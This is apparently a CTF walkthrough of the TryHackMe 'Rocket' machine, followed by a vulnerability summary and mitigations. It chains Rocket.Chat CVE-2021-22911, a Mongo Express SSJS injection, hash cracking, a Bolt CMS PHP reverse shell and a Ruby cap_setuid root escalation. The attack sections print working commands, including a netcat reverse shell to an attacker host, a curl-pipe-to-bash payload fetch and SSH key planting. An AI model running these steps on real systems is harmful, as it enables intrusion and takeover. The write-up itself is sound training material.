The Rocket machine presents a layered, multi-service attack surface that rewards methodical enumeration and precise exploit chaining. The entry point is a Rocket.Chat 3.12.1 instance exposed on a virtual host, vulnerable to CVE-2021–22911 — an unauthenticated NoSQL injection in the password reset flow that allows an attacker to extract valid reset tokens character by character, take over any account, including the administrator, and obtain a reverse shell via a malicious webhook. That shell lands inside a Docker container. Pivoting out requires tunneling through Chisel to reach an internally exposed Mongo Express web interface, injecting a Node.js payload to obtain a second shell in the Mongo Express container, extracting a bcrypt hash from a database backup on the filesystem, and cracking it to reveal credentials reused by a host system user. From there, a second web application — a Bolt CMS instance — accepts the same credentials and exposes a file editor that allows overwriting a PHP configuration file with a reverse shell, granting code execution as a low-privileged user named alvin. Privilege escalation to root is achieved through cap_setuid on the Ruby binary, which allows a one-liner to spawn a root-effective shell.
Press enter or click to view image in full size
Attack Path: CVE-2021-22911 NoSQL injection → admin takeover (Rocket.Chat) → webhook RCE (Docker container shell) → Chisel tunnel → Mongo Express RCE (second container shell) → DB backup hash → john crack → Bolt CMS admin login → PHP file edit (shell as alvin) → ruby cap_setuid → root
Platform: TryHackMe Machine: Rocket Difficulty: Hard OS: Linux (Ubuntu 18.04) Date: April 2026
Table of Contents
1. Reconnaissance
1.1 Nmap Port Scan
1.2 Web Technology Fingerprinting
1.3 Virtual Host Discovery
2. Initial Access — CVE-2021-22911 NoSQL Injection to Rocket.Chat RCE
2.1 Version Confirmation
2.2 Account Registration and User Enumeration
2.3 Blind NoSQL Token Extraction
2.4 Admin Takeover and Webhook Shell
3. Post-Exploitation — Docker Container Enumeration
3.1 Environment Inspection
3.2 Chisel Tunnel to Internal Mongo Express
4. Lateral Movement — Mongo Express SSJS Injection
4.1 Tunneling and Authentication
4.2 Node.js Payload via --data Flag
4.3 Database Backup and Hash Extraction
4.4 Offline Hash Cracking
5. Foothold on Host — Credential Pivot to Bolt CMS
5.1 SSH Login Attempt and Credential Pivot
5.2 Bolt CMS Authentication and PHP File Edit
6. Privilege Escalation — ruby cap_setuid
7. Proof of Compromise
8. Vulnerability Summary
9. Defense & MitigationHow We Got Root
[Recon] Port scan → ports 22, 80 (redirect to rocket.thm)
|
v
[Enum] ffuf subdomain fuzz → chat.rocket.thm discovered
|
v
[Exploit] CVE-2021-22911 NoSQL injection → reset token extracted
→ [email protected] password reset → webhook created
|
v
[Shell 1] Reverse shell → rocketchat@<container> (Docker)
|
v
[Pivot] Chisel tunnel → localhost:8081 → 172.17.0.4:8081 (Mongo Express)
|
v
[Shell 2] Mongo Express SSJS injection (--data, piped shell) → /node_modules/mongo-express shell
|
v
[Creds] /backup/db_backup/meteor/bson.hash → Terrance bcrypt cracked → <REDACTED>
|
v
[Pivot] Terrance SSH fails → Bolt CMS at rocket.thm/bolt → login as [email protected]
|
v
[Shell 3] bundles.php overwrite → reverse shell → alvin@rocket (host)
|
v
[Root] ruby cap_setuid → euid=0(root)1. Reconnaissance
1.1 Nmap Port Scan
The engagement began with an Nmap scan using -Pn to skip host discovery and -sC for default scripts. The target responded with two open ports.
nmap -Pn -sC -p22,80 <TARGET_IP>PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 2048 b5:20:37:9f:99:b2:4f:23:ba:3a:43:60:b7:45:c8:62 (RSA)
| 256 12:77:83:03:1f:64:bb:40:5d:bf:2c:48:e2:5a:b5:18 (ECDSA)
|_ 256 74:7c:e6:07:78:fc:fd:45:1d:e8:2b:d5:02:66:8e:cd (ED25519)
80/tcp open http
|_http-title: Did not follow redirect to http://rocket.thm💡 The HTTP response redirected to
http://rocket.thm. This immediately indicated virtual host routing was in use. The/etc/hostsfile was updated to map<TARGET_IP>torocket.thmbefore proceeding.
1.2 Web Technology Fingerprinting
Before diving into directory enumeration, WhatWeb was used to fingerprint the web stack at rocket.thm.
whatweb http://rocket.thmWhatWeb returned: Apache 2.4.29 on Ubuntu Linux, a Bolt CMS installation (MetaGenerator[Bolt], X-Powered-By[Bolt]), and an email address — [email protected] — embedded in the page metadata. The presence of Bolt CMS on the primary host would become significant later in the attack chain.
1.3 Virtual Host Discovery
With rocket.thm resolved, FFUF was used to discover additional virtual hosts by fuzzing the Host header against a SecLists subdomain wordlist. The filter flag -fw 20 removed responses matching the default word count of 20, which corresponded to the base redirect page.
ffuf -u http://rocket.thm/ \
-H "Host: FUZZ.rocket.thm" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fw 20chat [Status: 200, Size: 224515, Words: 12566, Lines: 490]Press enter or click to view image in full size
The subdomain chat.rocket.thm returned a full 200 response, confirming a Rocket.Chat installation was running on this virtual host. The /etc/hosts entry was updated accordingly.
2. Initial Access — CVE-2021–22911 NoSQL Injection to Rocket.Chat RCE
2.1 Version Confirmation
Before selecting an exploit, the running version of Rocket.Chat was confirmed by querying the public info endpoint.
curl -sk http://chat.rocket.thm/api/v1/info | python3 -m json.tool{
"info": {
"version": "3.12.1"
},
"success": true
}A searchsploit query for Rocket 3.12.1 returned two results: EDB-49960 (NoSQL injection, unauthenticated) and EDB-50108 (NoSQL injection to RCE, unauthenticated). EDB-50108 was selected because it automates the full chain, from token extraction through admin takeover to webhook-based code execution.
The public exploit scripts available on ExploitDB did not work as-is against this target for two reasons. First, EDB-50108 requires the admin account to have 2FA enabled to steal the TOTP secret — this instance had no 2FA configured, so that script crashed with a Non-base32 digit found error when trying to generate an OTP from an empty secret. Second, the reverse shell payload in the simpler variant used process_incoming_request(req) instead of the destructured form process_incoming_request({ request }) That Rocket.Chat's script engine requires and omits the bash -c wrapper needed because exec() spawns /bin/sh which does not support /dev/tcp redirection natively.
A corrected, self-contained version of the script used in this walkthrough is available at:
https://github.com/roshanrajbanshi/rocketcat-cve-2021-22911-exploit/blob/main/rocket_chat_exploit.py
💡 CVE-2021–22911 affects Rocket.Chat versions prior to 3.13.0. The vulnerability resides in the password reset confirmation endpoint, which passes user-supplied input directly into a MongoDB query without sanitisation. An attacker can inject MongoDB
$regexoperators to leak the password reset token one character at a time.
2.2 Account Registration and User Enumeration
The CVE-2021–22911 exploit chain requires a low-privilege account with no 2FA to initiate the password reset flow. Rocket.Chat on this instance allowed open registration, so an account was created directly through the web interface at http://chat.rocket.thm.
A test account was registered with the email [email protected] and a chosen password. This account served as the low-privilege entry point for the NoSQL injection chain — its reset token would be extracted first, then its password reset, and it would be used as an authenticated foothold to escalate to the admin account.
Before running the exploit, the callAnon/sendForgotPasswordEmail method was probed manually to confirm that the admin account was valid and the endpoint was responding correctly.
curl -s -X POST http://chat.rocket.thm/api/v1/method.callAnon/sendForgotPasswordEmail \
-H "Content-Type: application/json" \
-d '{"message":"{\"msg\":\"method\",\"method\":\"sendForgotPasswordEmail\",\"params\":[\"[email protected]\"]}"}'{"message":"{\"msg\":\"result\",\"result\":true}","success":true}Two accounts were now in play for the exploit chain: [email protected] (self-registered, no 2FA) as the low-privilege account to initiate the reset flow, and [email protected] as the ultimate target for full administrative takeover.
2.3 Blind NoSQL Token Extraction
The custom exploit script was run with the attacker’s tun0 IP auto-populated:
python3 rocket_chat_exploit.py \
-u [email protected] \
-a [email protected] \
-t http://chat.rocket.thm \
-i $(ip a show tun0 | grep "inet " | awk '{print $2}' | cut -d/ -f1) \
-p 4444The exploit output showed both phases completing successfully — 43 of 43 characters extracted for both the low-privilege and admin accounts — before proceeding to phase three.
[PHASE 1] Low-priv user → [email protected]
[+] Extracting reset token via blind NoSQL injection...
[43/43] <REDACTED_TOKEN>
[+] Password changed to: P@$$w0rd!1234[PHASE 2] Admin user → [email protected]
[+] Extracting reset token via blind NoSQL injection...
[43/43] <REDACTED_TOKEN>
[+] Password changed to: P@$$w0rd!1234💡 The token extraction works by sending repeated POST requests with a
$regexpayload in thetokenfield, incrementally matching each character of the stored reset token. This is possible because Rocket.Chat passes the body of the forgot-password endpoint directly to a MongoDBfindOnecall without input validation.
2.4 Admin Takeover and Webhook Shell
With the admin password set, the exploit authenticated as [email protected], created an integration webhook, and triggered it with a reverse shell payload.
Press enter or click to view image in full size
A netcat listener was started on port 4444 before pressing Enter:
nc -lvnp 4444The exploit confirmed the webhook was created and the trigger was sent. Seconds later, the listener received a connection:
Connection received on <TARGET_IP> 45212
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
rocketchat@c2c82695ecf1:/app/bundle/programs/server$The shell prompt confirmed execution inside a Docker container — hostname c2c82695ecf1 and working directory /app/bundle/programs/server are characteristic of the official Rocket.Chat Docker image.
3. Post-Exploitation — Docker Container Enumeration
3.1 Environment Inspection
The first action inside the container was to enumerate environment variables, which often expose database connection strings and internal network topology in containerised deployments.
envThe output revealed several critical details about the internal network:
DB_PORT_27017_TCP=tcp://172.17.0.2:27017
MONGO_WEB_INTERFACE=172.17.0.4:8081
DB_NAME=/rocketchat/db
RC_VERSION=3.12.1
NODE_ENV=productionThe MongoDB instance was accessible on 172.17.0.2:27017, and a Mongo Express web interface was running on 172.17.0.4:8081. Neither address was directly reachable from the attacker machine, but both were reachable from within the Docker network. Running hostname -I confirmed the Rocket.Chat container's own IP as 172.17.0.3.
💡 The
MONGO_WEB_INTERFACEenvironment variable being set at all is a significant misconfiguration. Mongo Express exposes a full web-based database management interface and should never be deployed in a position reachable from internal container networks without strict authentication.
3.2 Chisel Tunnel to Internal Mongo Express
To reach the Mongo Express interface from the attacker machine, Chisel was used to create a reverse TCP tunnel. The Chisel binary could not be transferred with wget or curl as neither was available in the container. Instead, Chisel was base64-encoded on the attacker side and transferred by writing a heredoc directly into the shell.
On the attacker machine, copy Chisel to a working directory and encode it:
cp /usr/local/bin/chisel ~/chisel
cd ~
cat chisel | base64 -w400 > chisel_encodedInside the container, paste the encoded content into a heredoc and decode it:
cat <<EOF >> chisel.base64
<base64 content pasted here>
EOF
cat chisel.base64 | base64 -d > /tmp/chisel
chmod +x /tmp/chiselThe Chisel server was then started on the attacker's machine in reverse mode:
./chisel server -p 8000 --reverse2026/04/09 07:04:18 server: Reverse tunnelling enabled
2026/04/09 07:04:18 server: Listening on http://0.0.0.0:8000From within the container, the Chisel client connected back and forwarded port 8081:
/tmp/chisel client <ATTACKER_IP>:8000 R:8081:172.17.0.4:80812026/04/09 11:05:43 client: Connected (Latency 43.407212ms)The server confirmed the tunnel was established:
server: session#1: tun: proxy#R:8081=>172.17.0.4:8081: ListeningNavigating to http://localhost:8081 In the browser, the Mongo Express login page is now presented.
4. Lateral Movement — Mongo Express SSJS Injection
4.1 Tunneling and Authentication
The Mongo Express interface at localhost:8081 prompted for HTTP Basic authentication. The default Mongo Express credentials (admin:pass) were accepted, granting access to the full database management panel. The panel displayed four databases: admin, config, local, and meteor — the last being the Rocket.Chat application database.
4.2 Node.js Payload via — data Flag
Mongo Express versions before 1.0.0 are affected by a server-side JavaScript injection vulnerability in the document validation endpoint (/checkValid). The endpoint evaluates the supplied document field using Node.js, allowing arbitrary code execution.
Two key lessons were learned during exploitation here. First, using --data-urlencode silently breaks the payload — that flag percent-encodes characters like (, ), ", and . before transmission, so the string arrives at the server as a literal encoded blob rather than executable JavaScript. Using --data sends the payload exactly as written, preserving the syntax the server expects to evaluate.
Get Roshan Rajbanshi’s stories in your inbox
Join Medium for free to get updates from this writer.
Second, attempting to inline the shell payload directly into the execSync call proved unreliable due to quoting conflicts. The working approach was to write a separate reverse_shell.sh script, serve it over HTTP, and have the payload fetch and pipe it through bash.
💡 Credit to the original room writeup for identifying
--dataas the correct flag and the fetch-and-pipe delivery method. These two details were the difference between a payload that returnedInvalidand one that returnedValidand caught a shell.
The reverse shell script was created on the attacker's machine:
cat > /tmp/reverse_shell.sh << 'EOF'
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 5555 >/tmp/f
EOFA Python HTTP server was started to serve it:
cd /tmp && python3 -m http.server 9000A netcat listener was opened on port 5555. The injection was then fired with --data. The payload structure chains this.constructor.constructor to escape the Node.js VM sandbox, calls require("child_process") to reach the underlying process context, and passes a curl … | bash fetch-and-execute string to execSync — targeting the reverse_shell.sh served from the attacker's Python HTTP server on port 9000. The full command follows the form:
curl 'http://localhost:8081/checkValid'
-H 'Authorization: Basic <REDACTED_CREDENTIAL>'
--data 'document=<SSJS_PAYLOAD>'Where <SSJS_PAYLOAD> is the prototype chain escape combined with the execSync call. The exact command is shown in the screenshot below. For reference, it is also available in the GitHub repository linked in Section 2.1.
Press enter or click to view image in full size
📸 [Screenshot: full curl command as run in terminal]
The HTTP server logged a GET request for reverse_shell.sh, and the listener received the callback:
Connection received on <TARGET_IP> 41445
/bin/sh: can't access tty; job control turned off
/node_modules/mongo-express #The prompt — /node_modules/mongo-express # — confirmed code execution inside the Mongo Express container running as root.
4.3 Database Backup and Hash Extraction
Exploring the filesystem from within the Mongo Express container revealed a directory not visible from outside: /backup/db_backup/meteor/. This directory contained a file of particular interest: bson.hash.
ls /backup/db_backup/meteor/
cat /backup/db_backup/meteor/bson.hashTerrance:$2y$04$cPMSyJolnn5/p0X.B3DMIevZ9M.qiraQw.wY9rgf4DrFp0yLA5DHiThe file contained a single bcrypt hash associated with the username Terrance.
4.4 Offline Hash Cracking
The hash was written to a file on the attacker's machine and cracked with John the Ripper against rockyou.txt.
echo 'Terrance:$2y$04$cPMSyJolnn5/p0X.B3DMIevZ9M.qiraQw.wY9rgf4DrFp0yLA5DHi' > terrance.hash
john terrance.hash --wordlist=/usr/share/wordlists/rockyou.txtUsing default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
<REDACTED> (Terrance)
1g 0:00:01:13 DONE💡 Bcrypt with a cost factor of 4 (
$2y$04$) is significantly weaker than the current recommended minimum of 10–12. At cost 4, modern hardware can test hundreds of hashes per second, making dictionary attacks practical within minutes.
5. Foothold on Host — Credential Pivot to Bolt CMS
5.1 SSH Login Attempt and Credential Pivot
With the cracked password in hand, an SSH login was attempted directly as Terrance against the host.
ssh Terrance@<TARGET_IP>The attempt failed — the password was not accepted for SSH. This is a common pattern in multi-service environments where application-level credentials are hashed and stored independently of OS account credentials. Attention turned to the Bolt CMS instance identified during reconnaissance at http://rocket.thm/bolt/login.
5.2 Bolt CMS Authentication and PHP File Edit
The Bolt CMS login at http://rocket.thm/bolt/login required the full email address as the username. Using [email protected] with the cracked password granted access. The dashboard confirmed a logged-in session as Hey, Terrance! and showed Bolt CMS version 4.1.20.
💡 Bolt CMS’s built-in file manager allows authenticated administrators to edit PHP files that are served by the web server — including configuration files. This is a legitimate feature that becomes a critical vulnerability when an attacker obtains admin credentials.
Press enter or click to view image in full size
Navigating to File management → Configuration files exposed the config/ directory tree. The file config/bundles.php was opened for editing. The existing content was replaced with a standard pentestmonkey PHP reverse shell, with the attacker's IP and port 6666 set as the callback target.
A netcat listener was opened on port 6666, and the file was saved. Refreshing the page triggered the PHP file, and the listener received the connection:
Connection received on <TARGET_IP> 46942
Linux rocket 4.15.0-144-generic #148-Ubuntu SMP Sat May 8 02:33:43 UTC 2021 x86_64
uid=1000(alvin) gid=1000(alvin) groups=1000(alvin)
/bin/sh: 0: can't access tty; job control turned off
$The shell landed as alvin on the host system rocket — confirming escape from the Docker environment and foothold on the underlying Ubuntu 18.04 host. The user flag was retrieved from Alvin's home directory:
cat /home/alvin/user.txt6. Privilege Escalation — Ruby cap_setuid
With a shell as Alvin, standard post-exploitation enumeration was performed. Checking for Linux capabilities on binaries produced a highly actionable finding:
getcap -r / 2>/dev/null/usr/bin/ruby2.5 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+epThe cap_setuid capability on Ruby 2.5 allows the process to call setuid(0) and elevate its effective user ID to root. However, attempting the exploit from the dumb reverse shell failed immediately:
-e:1:in `setuid': Operation not permitted (Errno::EPERM)The capability invocation requires a proper interactive TTY session. The fix was to plant an SSH key as Alvin and connect properly.
From within the dumb shell:
ssh-keygen -t rsa
# Press Enter at all prompts — no passphrase
cat /home/alvin/.ssh/id_rsa.pub > /home/alvin/.ssh/authorized_keys
chmod 700 /home/alvin/.ssh/authorized_keys
cat /home/alvin/.ssh/id_rsaThe private key output was copied and saved to the attacker's machine:
# On attacker machine
nano ~/alvin_rsa # paste the private key, save
chmod 600 ~/alvin_rsa
ssh -i ~/alvin_rsa alvin@<TARGET_IP>This produced a full interactive TTY session. From this stable shell, the cap_setuid exploit ran without issue. The AppArmor profile on ruby2.5 restricts most paths but allows read/write on /tmp/.X[0-9]-lock — so bash was disguised as that binary name to work within those restrictions:
Press enter or click to view image in full size
cp /bin/bash /tmp/.X1-lock
chmod +s /tmp/.X1-lock
/usr/bin/ruby2.5 -e 'Process::Sys.setuid(0); exec "cp --preserve=mode /tmp/.X1-lock /tmp/.X2-lock"'
/tmp/.X2-lock -p.X2-lock-4.4# id
uid=1000(alvin) gid=1000(alvin) euid=0(root) groups=1000(alvin)The euid=0(root) confirmed successful privilege escalation. The root flag was retrieved:
cat /root/root.txt⚠️ The
cap_setuidcapability is functionally equivalent to a SUID root binary. Any process that can callProcess::Sys.setuid(0)can assume root-level identity. This capability should never be assigned to a general-purpose interpreter like Ruby or Python.
7. Proof of Compromise
.X2-lock-4.4# id
uid=1000(alvin) gid=1000(alvin) euid=0(root) groups=1000(alvin)8. Vulnerability Summary
# Vulnerability Severity Impact 1 CVE-2021–22911 Rocket.Chat NoSQL Injection Critical Unauthenticated admin account takeover 2 Rocket.Chat Webhook RCE Critical Remote code execution inside Docker container 3 Mongo Express exposed on internal network High Full database access; SSJS injection to RCE 4 Mongo Express SSJS injection (CVE-2019–10758) Critical Code execution as root in second container 5 Database backup stored on container filesystem High Bcrypt hash exposure and offline cracking 6 Low bcrypt cost factor (cost=4) Medium Rapid offline password recovery 7 Password reuse across Rocket.Chat and Bolt CMS High Lateral movement to CMS admin panel 8 Bolt CMS PHP file editor accessible High PHP reverse shell injection on host 9 cap_setuid on ruby2.5 binary High Privilege escalation to euid=0 (root)
9. Defense & Mitigation
9.1 CVE-2021–22911 — NoSQL Injection in Password Reset
Root Cause: Rocket.Chat versions before 3.13.0 passed the token field from the password reset confirmation endpoint directly into a MongoDB findOne query without sanitising MongoDB operator keys. An attacker could inject $regex operators to leak the token character by character without triggering a lockout.
Mitigations:
- Upgrade immediately. The vulnerability was patched in Rocket.Chat 3.13.0.
- Validate and sanitise API input. Strip or reject MongoDB operator keys (
$regex,$where,$gt) from all user-controlled fields before they reach the database query layer. - Implement rate limiting and token expiry. Short-lived tokens and request throttling on the forgot-password endpoint significantly increase the cost of blind injection attacks.
9.2 Webhook-Based RCE
Root Cause: Rocket.Chat’s integration webhook feature allows an authenticated administrator to configure scripts that execute server-side JavaScript. Once admin access was obtained via NoSQL injection, the webhook became a trivially abusable code execution primitive.
Mitigations:
- Restrict integration permissions to a small, audited group.
- Disable outbound script execution in integration webhooks if the feature is not required.
- Network egress controls. Outbound firewall rules permitting only expected traffic would have prevented the reverse shell callback.
9.3 Mongo Express Exposed on Internal Network
Root Cause: The Mongo Express container was reachable at 172.17.0.4:8081 from within the Docker network, and this address was advertised in the Rocket.Chat container's environment variables. Combined with the Chisel tunnel, this effectively made the interface accessible from the attacker's machine.
Mitigations:
- Remove Mongo Express from production environments entirely. It is a development tool, not an operational component.
- Segment the Docker network. Containers that do not need to communicate should be on separate networks.
- Use strong, non-default credentials. Mongo Express ships with well-known defaults.
⚠️ Advertising internal management interfaces in application environment variables is a significant information-disclosure risk. Any attacker who gains container foothold can read
envand immediately learn the internal network topology.
9.4 Mongo Express SSJS Injection (CVE-2019–10758)
Root Cause: Mongo Express versions before 1.0.0 evaluate the document field of the /checkValid endpoint as server-side JavaScript via Node.js's vm module without adequate sandboxing. The this.constructor.constructor prototype chain escape allows reaching the Node.js process context and executing arbitrary system commands.
Mitigations:
- Upgrade Mongo Express to 1.0.0 or later, where the SSJS evaluation was removed.
- Restrict access to management interfaces behind authentication proxies.
9.5 Database Backup on Container Filesystem and Weak Bcrypt Cost
Root Cause: A full database backup was stored at /backup/db_backup/meteor/ inside the Mongo Express container, including a bson.hash file containing a username and bcrypt hash. The hash used a cost factor of 4, far below the recommended minimum, making cracking with rockyou.txt feasible in under two minutes.
Mitigations:
- Do not store database backups inside running containers. Use external, access-controlled storage.
- Set bcrypt cost factor to at least 12.
- Encrypt backup archives at rest.
9.6 Password Reuse Across Applications
Root Cause: The password cracked from the database backup was also valid for the Bolt CMS administrative panel, enabling lateral movement from a container-level compromise to code execution on the host OS.
Mitigations:
- Enforce unique passwords per service.
- Implement multi-factor authentication on all administrative interfaces.
9.7 Bolt CMS PHP File Editor
Root Cause: Bolt CMS 4.1.20 includes a file management interface that allows authenticated administrators to directly edit PHP files in the config/ directory. Because the web server serves these files, editing them is functionally equivalent to writing a web shell.
Mitigations:
- Disable or restrict the built-in file editor in production deployments. The
config/directory should not be writable by the web application process. - Run the web server as a dedicated low-privilege user with no write access to the PHP files it serves.
9.8 cap_setuid on Ruby Binary
Root Cause: The Ruby 2.5 interpreter was assigned the cap_setuid+ep Linux capability, allowing any process spawned from it to call setuid(0) and assume root-level effective privileges. Because Ruby is a general-purpose scripting language, this is equivalent to assigning cap_setuid to bash.
Mitigations:
- Audit all binaries with assigned capabilities using
getcap -r / 2>/dev/nulland remove any that are not operationally necessary:
sudo setcap -r /usr/bin/ruby2.5- Apply the principle of least privilege. If a process genuinely requires elevated capabilities, assign the most narrow capability possible to a dedicated binary, not a general-purpose interpreter.
- Monitor capability assignments as part of a file integrity monitoring baseline.
Credits: CVE-2021–22911 original research by SonarSource. Public exploit base by enox (Exploit-DB EDB-50108). The working --data flag and fetch-and-pipe reverse shell delivery method for the Mongo Express stage were identified in a public room write-up.